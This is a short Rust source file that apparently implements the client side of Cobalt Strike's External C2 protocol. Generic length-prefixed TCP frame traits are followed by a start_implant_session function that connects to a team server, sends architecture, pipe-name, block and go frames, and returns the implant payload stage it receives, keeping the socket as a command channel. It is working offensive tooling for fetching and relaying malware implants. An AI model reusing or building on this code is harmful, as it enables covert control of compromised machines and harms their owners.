#![warn(missing_docs)]
use anyhow::{Context, Result};
use async_trait::async_trait;
use tokio::{
io::{AsyncReadExt, AsyncWriteExt},
net::TcpStream,
};
#[async_trait]
pub trait CSFrameRead {
async fn read_frame(&mut self) -> Result<Vec<u8>>;
}
#[async_trait]
pub trait CSFrameWrite {
async fn write_frame(&mut self, data: &[u8]) -> Result<()>;
}
#[async_trait]
impl<T> CSFrameWrite for T
where
T: AsyncWriteExt + std::marker::Unpin + std::marker::Send,
{
async fn write_frame(&mut self, data: &[u8]) -> Result<()> {
let size: u32 = data.len().try_into()?;
self.write_u32_le(size).await?;
self.write_all(data).await?;
return Ok(());
}
}
#[async_trait]
impl<T> CSFrameRead for T
where
T: AsyncReadExt + std::marker::Unpin + std::marker::Send,
{
async fn read_frame(&mut self) -> Result<Vec<u8>> {
let size = self.read_u32_le().await?.try_into()?;
let mut buf: Vec<u8> = vec![0; size];
self.read_exact(buf.as_mut_slice()).await?;
return Ok(buf);
}
}
pub async fn start_implant_session(
ts_address: &str,
arch: &str,
pipename: &str,
) -> Result<(Vec<u8>, TcpStream)> {
let mut conn = TcpStream::connect(ts_address)
.await
.context("Failed to connect to TS")?;
conn.write_frame(format!("arch={}", arch).as_bytes())
.await?;
conn.write_frame(format!("pipename={}", pipename).as_bytes())
.await?;
conn.write_frame("block=500".as_bytes()).await?;
conn.write_frame("go".as_bytes()).await?;
let res = conn.read_frame().await?;
return Ok((res, conn));
}